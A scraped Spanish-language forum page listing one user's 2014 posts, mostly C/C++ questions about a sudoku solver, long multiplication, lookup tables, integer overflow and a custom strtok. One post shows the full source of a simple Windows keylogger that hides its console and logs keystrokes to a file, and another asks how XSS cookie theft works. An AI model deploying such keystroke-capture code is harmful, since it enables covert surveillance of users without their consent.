|
Mostrar Temas
|
Páginas: [1] 2
|
1
|
Programación / Programación C/C++ / Algoritmo para resolver sudoku incomprensible
|
en: 4 Noviembre 2014, 18:48 pm
|
Buenas me he topado con un código un poco complicado de seguir, la cuestión es que se me hace difícil entender como logra aislar el número exacto en la posición requerida sin la necesidad (según veo) de una búsqueda exhaustiva como es común en este tipo de algoritmos, aquí el código : int trycell(int *x, int pos) { int row = pos / 9; int col = pos % 9; int i, j, used = 0; if (pos == 81) return 1; if (x[pos]) return trycell(x, pos + 1); for (i = 0; i < 9; i++) used |= 1 << (x[i * 9 + col] - 1); for (j = 0; j < 9; j++) used |= 1 << (x[row * 9 + j] - 1); row = row / 3 * 3; col = col / 3 * 3; for (i = row; i < row + 3; i++) for (j = col; j < col + 3; j++) used |= 1 << (x[i * 9 + j] - 1); for (x[pos] = 1; x[pos] <= 9; x[pos]++, used >>= 1) if (!(used & 1) && trycell(x, pos + 1)) return 1; x[pos] = 0; return 0; }
Si pudieran aclararme como funciona mas o menos este código Saludos kutcher
|
|
|
2
|
Programación / Programación C/C++ / Método de multiplicación que desconozco
|
en: 15 Octubre 2014, 01:41 am
|
Buenas noches, estoy estudiando un algoritmo que realiza una multiplicación de dos enteros almacenados en respectivos arrays, el problema es que no consigo entender el método utilizado en tal caso, ya que existen varios : void longmulti(const char *a, const char *b, char *c) { int i = 0, j = 0, k = 0, n, carry; int la, lb; c[la + lb] = '\0'; for (i = la - 1; i >= 0; i--) { for (j = lb - 1, k = i + j + 1, carry = 0; j >= 0; j--, k--) { n = T(a[i]) * T(b[j]) + T(c[k]) + carry; carry = n / 10; c[k] = (n % 10) + '0'; } c[k] += carry; } if (c[0] == '0') return; }
Saludos
|
|
|
3
|
Programación / Programación C/C++ / Keylogger queda ejecutándose en un while infinito
|
en: 13 Septiembre 2014, 02:44 am
|
Buenas, tengo el siguiente programa : #include <stdio.h> #include <stdlib.h> #include <windows.h> int main(void) { FILE *f; int i, n = 0; int line[256]; FreeConsole(); if(! (f = fopen("log.txt", "ab+"))) return EXIT_FAILURE; while(1) { for(i = 0; i < 255; i++) { if(GetAsyncKeyState(i) == -32767) { if( n < 255) line[n++] = i; else { line[n] = '\0'; fprintf(f, "%s\n", line); n = 0; } } } Sleep(2); } fclose(f); return EXIT_SUCCESS; }
Como he comentado este programa que en un loop infinito y según veo no hace absolutamente nada alguien podría explicarme como funciona esto exactamente Saludos kutcher
|
|
|
4
|
Programación / Programación C/C++ / Sentencia switch vs tablas de búsqueda
|
en: 4 Septiembre 2014, 17:45 pm
|
Buenas, tengo las siguientes funciones: char * func1(int condicion) { switch(condicion) { case 0: return "EQ"; case 1: return "NE"; case 2: return "CS"; case 3: return "CC"; case 4: return "MI"; case 5: return "PL"; case 6: return "VS"; case 7: return "VC"; case 8: return "HI"; case 9: return "LS"; case 10: return "GE"; case 11: return "LT"; case 12: return "GT"; case 13: return "LE"; case 14: return ""; default: return 0; } }
Y char * func2(int condicion) { if ((unsigned) condicion >= 15) return 0; return "EQ\0NE\0CS\0CC\0MI\0PL\0VS\0VC\0HI\0LS\0GE\0LT\0GT\0LE\0\0" + 3 * condicion; }
Se que ambas son equivalentes pero lo que me cuesta entender es como la función con tabla de búsqueda logra aislar la cadena requerida según la condición especificada, si alguien podría explicarme como sucede esto... Saludos kutcher
|
|
|
5
|
Programación / Programación C/C++ / Optimización de algoritmo de fuerza bruta
|
en: 2 Septiembre 2014, 22:30 pm
|
Buenas, tengo el siguiente algoritmo: void bruteforce(int inc, int fin, char *rotation) { int i = 0, j, len = strlen(rotation); long int r = 0, end, c; char test[200]; for(j = inc; j < fin+1; j++) { r = 0; end = (long int)pow(len, j); while(r != end) { c = r; while(i < j) { test[i] = rotation[c % len]; c = (long int)c / len; i++; } test[i] = '\0'; puts(test); i = 0; r++; } } }
Mi intención es evitar el uso de pow porque esta consume demasiado recursos, lo que busco es la forma de representarlo con solo operaciones aritméticas .... alguna idea Saludos kutcher
|
|
|
6
|
Programación / Programación C/C++ / Como detectar un desbordamiento de enteros
|
en: 23 Agosto 2014, 02:53 am
|
Buenas, quisiera saber algún método para detectar un posible desbordamiento de enteros al realizar una multiplicación de dos variables de tipo unsigned para asi almacenar con seguridad el resultado en otra, le estuve dando vueltas al asunto pero no encuentro como hacerlo
Saludos kutcher
|
|
|
7
|
Programación / Programación C/C++ / Retos de programación C/C++
|
en: 16 Agosto 2014, 02:23 am
|
Buenas, abro este post para ir publicando una serie de retos a medida que vayan resolviendo los mismo, con el objetivo estimular a la comunidad a participar mediante la resolución de problemas que competen al mundo de la programación que tanto nos apasiona RETO #1:Los primeros dos números consecutivos para tener dos factores primos distintos son: 14 = 2 x 7 15 = 3 x 5
Los primeros tres números consecutivos para tener tres factores primos distintos son: 644 = 2² x 7 x 23 645 = 3 x 5 x 43 646 = 2 x 17 x 19.
Encuentra los primeros cuatro números enteros consecutivos para tener cuatro factores primos distintos. ¿Cuál es el primero de estos números? Espero su participación
|
|
|
8
|
Seguridad Informática / Hacking / Robo de cookies con ataque XSS
|
en: 30 Julio 2014, 15:20 pm
|
Buenas. tengo una duda respecto a este tipo de ataques suponiendo que un atacante logre ejecutar algún tipo de script con el objetivo de robarme los cookies si en el caso de lograr esto el atacante podría iniciar sesión automáticamente en mis cuentas como facebook, gmail etc... ¿ Como es posible esto?
Si yo deshabilitara estas opciones en mi navegador podría evitar esto:
*Habilitar la función Autocompletar para rellenar formularios web con un solo clic *Preguntar si quiero guardar las contraseñas que he introducido en la Web
Saludos
|
|
|
9
|
Programación / Programación C/C++ / Extraña asignación en un array con -1
|
en: 28 Julio 2014, 05:14 am
|
Buenas, estoy tratando de implementar mi propia función strtok y buscando por la red he encontrado un método bastante curioso el cual utiliza el numero negativo -1 como indice en un array de caracteres para asignarle el carácter nulo En consecuencia extrañamente obtienes el primer token en el puntero llamado token, cosa que no entiendo como sucede aquí el código: char *mystrtok(char *s, const char *delim) { int c, sc = *delim; char *token = s; do{ c = *s++; if (c == sc) { s[-1] = '\0'; return (token); } }while (*s); return NULL; }
Es la versión corta la modifique un poquito para exponer la parte que no entiendo
|
|
|
|
|
|
|